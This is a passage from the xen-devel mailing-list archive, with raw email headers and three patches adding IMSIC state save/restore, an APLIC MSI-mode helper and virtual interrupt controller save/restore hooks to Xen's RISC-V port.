         7j9hajCJ1/++ES4Rugz8+hmxI6zJMzD4Nu51ZKyyG2vg4K75Raxk7CQQNFrjP9koa1Ee
         TBYquBz78jFoVrUkqY67KjxBiWZsDPZ2+ONn+BMXrwhjJs+GA6L59ifh4Smbcz7jvY6C
         5N9Lr50/tim2ngjtKion0gik/wE2IqT+BP1wjOkns/DvR8TzhqF46nakwOb+WHEeGd/N
         Sgdw==
X-Gm-Message-State: AOJu0YyO3xwy4EAnTUd08N6YvfZC2i9Yo0SGIrpnQT7eRSFVeb410HCT
	pIcjdlfWv5v/PqH9MDs1bKUMnd5epDZV0L5XSph7T+qQCOv7VNPondLVh01SeA==
X-Gm-Gg: AfdE7clqUoP3u2KlU5xJ9lAdgEJeov86/pUBDNPRhDlt6V/5+CqXTvLJulBYN5DpNzZ
	GFRUFjmR9QU4bY6WIdi4bZGrdeeG8C+yW0oOIl41QoMMciYq/dt3g7XyXUFMpnng+NnylzwnwzQ
	w7KTsCMYY0a5vCDo337OVz5WA7vmHffnztQeduN83mN7l+Jd/b0tp/lrSAFMX4FRRvuvzgK7xxf
	jLblx6e/awTUHEZ5dsFPUIH6QIlRy7lfqGBQ24AkP0ajiqQcZyr/WG7J5hlDD2smiXIWvIf7qst
	5HDK0BdBT/koXPQru+9dRfFPplDfK0Zc1QZyRs5EJ1VffYZim5Sr2Yk14oXIxsFROuz0fRskMEt
	FaNy2ykp5zJf4EuIOVF5b/AyYvk3xoQKa5M2RXisyx91V8YgvI12of5iFvczXbtl3oQpKTcIEld
	0E6JE2kGTmUnxdZ+HA/mSAEej+J1OZNbKMQhqu2WOnL7gecVjcsEat0Hsf3A==
X-Received: by 2002:a05:600c:c84:b0:495:4811:d71c with SMTP id 5b1f17b1804b1-4954a3ed4bamr159226335e9.13.1784563360028;
        Mon, 20 Jul 2026 09:02:40 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v1 08/17] xen/riscv: add IMSIC state save/restore
Date: Mon, 20 Jul 2026 18:02:06 +0200
Message-ID: <5e3df9ea4bafc5666d1885dfd40f534f8349879e.1784560663.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784560663.git.oleksii.kurochko@gmail.com>
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c1860d/1784563360-CED4087B-9894E3C5/10/73395122804
X-purgate-type: spam
X-purgate-size: 2864

IMSIC state is currently needed only to track which physical CPU owns a
vCPU's IMSIC interrupt file. This is required because the physical CPU
ID is part of the physical address used to map the IMSIC file.

Add imsic_state_save() to record the current pCPU for a vCPU. When the
vCPU is migrated to a different pCPU, the mapping will need to be updated.

When imsic_state_restore() is called, VGEIN is already assigned to the
vCPU and the guest interrupt file is already mapped, and, as only h/w
interrupt files are used for now, nothing specific needs to be done.
Action is only required when the vCPU is moved to a different pCPU, which
requires recalculating VGEIN and the mapping for the new guest interrupt
file. That will be handled separately by vcpu_move_irqs(), which is
introduced in a follow-up patch; until then this case is guarded by a
BUG_ON(), which is fine.

Co-developed-by: Romain Caritey <Romain.Caritey@microchip.com>
Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
 xen/arch/riscv/imsic.c             | 23 +++++++++++++++++++++++
 xen/arch/riscv/include/asm/imsic.h |  3 +++
 2 files changed, 26 insertions(+)

diff --git a/xen/arch/riscv/imsic.c b/xen/arch/riscv/imsic.c
index 2a792e756c4e..406bc68cbcd1 100644
--- a/xen/arch/riscv/imsic.c
+++ b/xen/arch/riscv/imsic.c
@@ -20,6 +20,7 @@
 #include <xen/init.h>
 #include <xen/libfdt/libfdt.h>
 #include <xen/macros.h>
+#include <xen/rwlock.h>
 #include <xen/sched.h>
 #include <xen/smp.h>
 #include <xen/spinlock.h>
@@ -418,6 +419,28 @@ int imsic_map_guest_file(struct vcpu *v, unsigned int vsfile_id)
     return res;
 }
 
+void imsic_state_save(struct vcpu *v)
+{
+    struct vimsic_state *imsic_state = v->arch.vimsic_state;
+    unsigned long flags;
+
+    /*
+     * SW interrupt file always has ->vsfile_pcpu = NR_CPUS so nothing specific
+     * should be done in this case.
+     */
+    if ( !vcpu_guest_file_id(v) )
+        return;
+
+    write_lock_irqsave(&imsic_state->vsfile_lock, flags);
+    imsic_state->vsfile_pcpu = cpuid_to_hartid(v->processor);
+    write_unlock_irqrestore(&imsic_state->vsfile_lock, flags);
+}
+
+void imsic_state_restore(struct vcpu *v)
+{
+    /* Nothing to do */
+}
+
 int vcpu_imsic_init(struct vcpu *v)
 {
     struct vimsic_state *imsic_state;
diff --git a/xen/arch/riscv/include/asm/imsic.h b/xen/arch/riscv/include/asm/imsic.h
index 8e3797690f99..cfb968204a08 100644
--- a/xen/arch/riscv/include/asm/imsic.h
+++ b/xen/arch/riscv/include/asm/imsic.h
@@ -110,4 +110,7 @@ int vimsic_make_domu_dt_node(struct kernel_info *kinfo, unsigned int *phandle);
 
 int imsic_map_guest_file(struct vcpu *v, unsigned int vsfile_id);
 
+void imsic_state_save(struct vcpu *v);
+void imsic_state_restore(struct vcpu *v);
+
 #endif /* ASM_RISCV_IMSIC_H */
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:02:45 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:02:45 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367158.1617025 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqS4-0001Lq-W8; Mon, 20 Jul 2026 16:02:45 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367158.1617025; Mon, 20 Jul 2026 16:02:44 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqS4-0001K4-In; Mon, 20 Jul 2026 16:02:44 +0000
Received: by outflank-mailman (input) for mailman id 1367158;
 Mon, 20 Jul 2026 16:02:43 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqS3-0000wd-8D
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:02:43 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqS2-007AIh-LM
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:02:42 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e469c-5cb7-0a2a0a5109dd-0a2a450a8204-16
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:02:42 +0200
Received: from [209.85.128.52] (helo=mail-wm1-f52.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e46a2-f2d2-0a2a450a0019-d1558034bc69-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:02:42 +0200
Received: by mail-wm1-f52.google.com with SMTP id
 5b1f17b1804b1-4921eed3fa2so78889385e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:02:42 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49563eee22esm31331765e9.1.2026.07.20.09.02.40
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:02:40 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563362; x=1785168162; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=XgMU0pUtppSI68GIa5n7RmZzS7ral2/2Ov01KOO67Uk=;
        b=DJ/jK+POYsldfJ+TKZt9Z9a7SXu61+8htVLPB1G2EpUWdyahkv5TC0/OWjeoVTpFkY
         otAYpOhryaSxCYE2RFlDaCM44D9/YgZld/Tvzvt5R6k2wezfV24Hwy71SPVTG1/O1AeY
         U5GIPp0HzNwqfFRUzWtT+DeJ9xnxswNnn7FPbeRM1eXnmjdyVq23clTHZ5SmvtpsVYiM
         5TVCIkaORBXPhiQxwSyfkydX2QUBD75mMnTTsfVWWsrySyN4VEh7pKvjGvk/dKhuvztq
         lqrXRzulG3EEnVpWiGt1JW254V+DoIM9m//p4CNlAQh/Qh+uEZEYS5BeSyFlxdL90d8o
         dlHw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563362; x=1785168162;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=XgMU0pUtppSI68GIa5n7RmZzS7ral2/2Ov01KOO67Uk=;
        b=b8WcYtow4zeYuQxclqcxFZXjmuQ8W8QgTHkk74H4H+CiBwlMImo/DSEZ02bCguP4fv
         Ve9bNoxAQ2M0KJFDi9tNUG/xLI4je9p9nnn5d9GY+9DqinFXUEeC0UjaMpNtRkjZ5QuM
         /mvL9cDOpBU44SGY99lhMwrzYCw2mnSWKOmltHqyAtr6/lFW5g/CdkPArClJ43hpyikC
         /fuKw2ih/gA2LczwYl5hNvg3Jajirl/b72J7BIQ3dMeSsYdFtmRzYXgecaSNAL6LKsfc
         xCGyQR3UONMZ0TKznxBaK9KMV2KSF/6bQLVyqd7D0y58gq5mDIuRlacObv4X67dlHYbY
         1Efg==
X-Gm-Message-State: AOJu0YxJosDZHzTcsrpUFpAjAz2AAzb+jh2q4swxLC9U1IoO96/6eT6a
	qUmr8s6SonkpxhBP2umItqpzWI2i6I8QoqZG2u1rgTe9GmG6kBcH8GNfeV0wJw==
X-Gm-Gg: AfdE7clF8FNACmB8GYNFKD9ORapdatTZ22gzMpWd/qE/MGn3JfkPDMMuEsEdUQ/7oIV
	W4Ko01dL37GOhwbPSG/NjJBQ3lUffio5hf9tIDC/la//MT+7Wn7aAyXFzuOYEJoXZD4VgZhpjNi
	Oydjago+AQFJ6/ZelaN0lwILLCyK9fajW7EIexc29JFa7uZQi5XrjrA1Cy00J7gg8jqOnnZynfP
	2em59gVQAX1GQE2rLOX9KWPX2ayliie6OP3/xQTqaK2SWLpdVyZJRBPmpc9JgPAid8okym2T4Ju
	rcpphjPGEIgm+ZfDVgJvs1kQDEwv3ch4EYy9K1q3SxAjQ5iPSGa8e+pSR6L3JDZhfFxIIlzr8AS
	YQgpD66KHPAXeNaEZEnaOeZLXbq+v4YA/VSrm80tbA9gRdXi5TONPVqfdV0eS2kFpRqZG50wW+Y
	DH/zjtx8IAx20up2f/spP/mQ1aYnEaujlOK/7oXZA792myyh0=
X-Received: by 2002:a05:600c:1f8c:b0:493:bfea:2780 with SMTP id 5b1f17b1804b1-4954a3db165mr180616745e9.9.1784563361746;
        Mon, 20 Jul 2026 09:02:41 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v1 09/17] xen/riscv: add helper to check APLIC MSI mode
Date: Mon, 20 Jul 2026 18:02:07 +0200
Message-ID: <c6c5b05886520586041ca4f50ae554c3536ee662.1784560663.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784560663.git.oleksii.kurochko@gmail.com>
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-4011c0/1784563362-591C5CFC-CE103537/10/73395122804
X-purgate-type: spam
X-purgate-size: 2105

This helper can be used outside aplic.c to determine whether MSI mode
is enabled. A follow-up patch uses it to decide whether the guest
IMSIC state should be saved/restored.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
 xen/arch/riscv/aplic.c             | 9 +++++++--
 xen/arch/riscv/include/asm/aplic.h | 2 ++
 2 files changed, 9 insertions(+), 2 deletions(-)

diff --git a/xen/arch/riscv/aplic.c b/xen/arch/riscv/aplic.c
index 87f2134bc561..1ce844cd2162 100644
--- a/xen/arch/riscv/aplic.c
+++ b/xen/arch/riscv/aplic.c
@@ -93,6 +93,11 @@ void aplic_hw_write_reg(unsigned int offset, uint32_t value)
     spin_unlock_irqrestore(&aplic.lock, flags);
 }
 
+bool has_msi_support(void)
+{
+    return readl(&aplic.regs->domaincfg) & APLIC_DOMAINCFG_DM;
+}
+
 static void __init aplic_init_hw_interrupts(void)
 {
     unsigned int i;
@@ -185,7 +190,7 @@ static void cf_check aplic_irq_enable(struct irq_desc *desc)
      *       If APLIC without MSI interrupts is required in the future,
      *       this function will need to be updated accordingly.
      */
-    ASSERT(readl(&aplic.regs->domaincfg) & APLIC_DOMAINCFG_DM);
+    ASSERT(has_msi_support());
 
     ASSERT(spin_is_locked(&desc->lock));
 
@@ -216,7 +221,7 @@ static void cf_check aplic_irq_disable(struct irq_desc *desc)
      *       If APLIC without MSI interrupts is required in the future,
      *       this function will need to be updated accordingly.
      */
-    ASSERT(readl(&aplic.regs->domaincfg) & APLIC_DOMAINCFG_DM);
+    ASSERT(has_msi_support());
 
     ASSERT(spin_is_locked(&desc->lock));
 
diff --git a/xen/arch/riscv/include/asm/aplic.h b/xen/arch/riscv/include/asm/aplic.h
index 4ae5fb8f26d1..9a0b23351154 100644
--- a/xen/arch/riscv/include/asm/aplic.h
+++ b/xen/arch/riscv/include/asm/aplic.h
@@ -144,4 +144,6 @@ struct aplic_regs {
 uint32_t aplic_hw_read_reg(unsigned int offset, uint32_t mask);
 void aplic_hw_write_reg(unsigned int offset, uint32_t value);
 
+bool has_msi_support(void);
+
 #endif /* ASM_RISCV_APLIC_H */
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:02:46 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:02:46 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367160.1617033 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqS6-0001g8-FI; Mon, 20 Jul 2026 16:02:46 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367160.1617033; Mon, 20 Jul 2026 16:02:46 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqS6-0001fW-9M; Mon, 20 Jul 2026 16:02:46 +0000
Received: by outflank-mailman (input) for mailman id 1367160;
 Mon, 20 Jul 2026 16:02:45 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqS4-0001IY-Mj
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:02:44 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqS4-007AIH-2O
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:02:44 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e468a-e002-0a2a0a5209dd-0a2a4505d2c2-40
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:02:44 +0200
Received: from [209.85.128.52] (helo=mail-wm1-f52.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e46a3-4cb1-0a2a45050019-d1558034dccc-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:02:44 +0200
Received: by mail-wm1-f52.google.com with SMTP id
 5b1f17b1804b1-4954afac04bso27886215e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:02:43 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49563eee22esm31331765e9.1.2026.07.20.09.02.41
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:02:42 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563363; x=1785168163; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=4txbj0p0pBhMvGV5AdyRbQzNFU6a8OEP8PKHz6ogv0M=;
        b=HJQVBltasinOwYA4NUcc+8u8/a762YiM9V/tV9HWrXZStDIf4+2tydydBANWzUcLIi
         w6GfQoWprk4b7c5p9DDKLog+otkcc7ObS6cazutKBPKn+SWvfGCbLsNYxrtYE/XsH4ts
         tWcSPsnhebq1iUMsFf/CHzhEiDKXg/tZA96a+fhWAXkssgVe/NKRLYURVSYHjjtnqUjF
         Ekk76q7qnW/DHbMz4R3G+pqtkXqXagK4fWfqaVk18+GNAIIfTFicPjvFO+cUU2F3ZU2D
         qNbL4CHs+dTI6zngZEks1KTssHPu1fAyQbkYTi9VrPMqjSEniKe4qVKJiDVLucIL1HeV
         rs/Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563363; x=1785168163;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=4txbj0p0pBhMvGV5AdyRbQzNFU6a8OEP8PKHz6ogv0M=;
        b=ZDrl/YW0herKQfczgCVRorop/qIIDRbv07+VDi45CGqWNIO61yl9j/G8xqR3RKnEns
         p+Jhvd0Xb4uC2k826r7ofqiqwp2cDGN0YwPHxprV0W5RgM0dUBP0O8G/VEuv2LEqag33
         WYrP73x5TleEfL1HBiCe5EgPUghlF4LebRowGbG7LSWjA9+OJR0mMdaaeUF1RybwBjxB
         FJXciCoIsBdT61QKmENKcc/mRgnNu0s5Aq+sHhAOnLrt+eBUh1jVugnab8hlZBZ3ok5n
         q8DhcxPRwoVD5DkGiEIR6W8ubx9bHkITw2YYk0GOClJ0I/k19iymH+ZqTufrbO0l9uBE
         M+mw==
X-Gm-Message-State: AOJu0Yyc43+6amXMXnSfroqoAXTGItMiCQGXtky6HHFdiCHQdFGQxm0R
	F83TyB9a6PyR2+u03KuiFWX48ZWVBmqT8gNq4UgzNfhSnqCe/h76LasY/7yLPw==
X-Gm-Gg: AfdE7cljtH+cWpL6GSz1+05pJIgs2OpdZKInY9MOLGOwyFVk5P825pPScbL/2QC3bqb
	NNL3lU9HVUABtS5agugoS6qaG0z4t3q1A2BZ4FhtGA3m0jknomplwHtwM/xRt+/p54DUq2UmF42
	E1XEuHkfPv8PnAQ4HrWGn0pW+nJASHYnQpy5vhMUE2HJavLOiRkVOyNoylfXkqB3dEewcZAyPtH
	sVhgUyLKQ9pPTbes1X6s4NrAtDVsGw6ztJ2wuKQWVqHwENLVMqOu4NRCeqlNg/+o8vJXNfOiUaG
	y1VyDB1zigjEFspsuYIvoTvzzzBVPFgoazMGITOrWqNn26lxnj229v+xLn4NPyj4Nj57k/UtSbN
	w7cpUwe7FBONVuNxyXPahZbQ5rVvNReADEDfqN3KgIySrxwiCNwjVRMU8mKhRBjKaSxp0MEoNbw
	PhgjZQThpIh0XQ7x6NmUg0a6IjKB0CFptVMASSOH3yG+mOAkE=
X-Received: by 2002:a05:600c:e549:20b0:493:b4cf:d37f with SMTP id 5b1f17b1804b1-4954a3f0e58mr114823265e9.16.1784563363405;
        Mon, 20 Jul 2026 09:02:43 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v1 10/17] xen/riscv: introduce vintc_state_{save,restore}()
Date: Mon, 20 Jul 2026 18:02:08 +0200
Message-ID: <e71f53f1165619fabb9f79f34cc931cd4296af67.1784560663.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784560663.git.oleksii.kurochko@gmail.com>
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c201ff/1784563364-726B52A1-5C389E08/10/73395122804
X-purgate-type: spam
X-purgate-size: 2461

Virtual interrupt controller state must be preserved across vCPU context
switches: for AIA, a vCPU's guest interrupt file lives in the IMSIC of
the pCPU it runs on, so the related state has to be saved when the vCPU
is descheduled and re-established when it is scheduled again.

Introduce vintc_state_save()/vintc_state_restore() wrappers around new
store_state()/restore_state() hooks in struct vintc_ops, so that the
context switch path can save/restore this state without knowing which
vINTC variant a domain uses.

No callers are wired up yet: the vAPLIC implementation of the hooks is
added by the follow-up patch, and the calls from the context switch path
will be introduced together with vCPU context switch support.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
 xen/arch/riscv/include/asm/intc.h |  9 +++++++++
 xen/arch/riscv/intc.c             | 14 ++++++++++++++
 2 files changed, 23 insertions(+)

diff --git a/xen/arch/riscv/include/asm/intc.h b/xen/arch/riscv/include/asm/intc.h
index 2ee5d1533c8e..f4f0ce365c00 100644
--- a/xen/arch/riscv/include/asm/intc.h
+++ b/xen/arch/riscv/include/asm/intc.h
@@ -64,6 +64,12 @@ struct vintc_ops {
 
     /* Deinitialize some vINTC-related stuff for a vCPU */
     void (*vcpu_deinit)(struct vcpu *v);
+
+    /* Store virtual interrupt controller state */
+    void (*store_state)(struct vcpu *v);
+
+    /* Restore virtual interrupt controller state */
+    void (*restore_state)(struct vcpu *v);
 };
 
 struct vintc {
@@ -91,4 +97,7 @@ void domain_vintc_deinit(struct domain *d);
 
 bool vintc_reserve_virq(const struct domain *d, unsigned int virq);
 
+void vintc_state_save(struct vcpu *vcpu);
+void vintc_state_restore(struct vcpu *vcpu);
+
 #endif /* ASM__RISCV__INTERRUPT_CONTOLLER_H */
diff --git a/xen/arch/riscv/intc.c b/xen/arch/riscv/intc.c
index 372c8d3a20f9..879d51337491 100644
--- a/xen/arch/riscv/intc.c
+++ b/xen/arch/riscv/intc.c
@@ -163,3 +163,17 @@ bool vintc_reserve_virq(const struct domain *d, unsigned int virq)
 
     return !test_and_set_bit(virq, d->arch.vintc->used_irqs);
 }
+
+void vintc_state_save(struct vcpu *vcpu)
+{
+    const struct vintc_ops *ops = vcpu->domain->arch.vintc->ops;
+
+    ops->store_state(vcpu);
+}
+
+void vintc_state_restore(struct vcpu *vcpu)
+{
+    const struct vintc_ops *ops = vcpu->domain->arch.vintc->ops;
+
+    ops->restore_state(vcpu);
+}
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:02:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:02:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367164.1617044 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqS9-0002AE-0e; Mon, 20 Jul 2026 16:02:49 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367164.1617044; Mon, 20 Jul 2026 16:02:48 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqS8-00029o-OW; Mon, 20 Jul 2026 16:02:48 +0000
Received: by outflank-mailman (input) for mailman id 1367164;
 Mon, 20 Jul 2026 16:02:47 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqS7-0001mF-1X
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:02:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqS6-00HTXg-EA
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:02:46 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e46a4-bab6-0a2a0a5309dd-0a2a4501ee0c-6
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:02:46 +0200
Received: from [209.85.128.54] (helo=mail-wm1-f54.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e46a6-5984-0a2a45010019-d1558036adb8-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:02:46 +0200
Received: by mail-wm1-f54.google.com with SMTP id
 5b1f17b1804b1-49558ce01afso13438635e9.1
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:02:46 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49563eee22esm31331765e9.1.2026.07.20.09.02.43
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:02:44 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
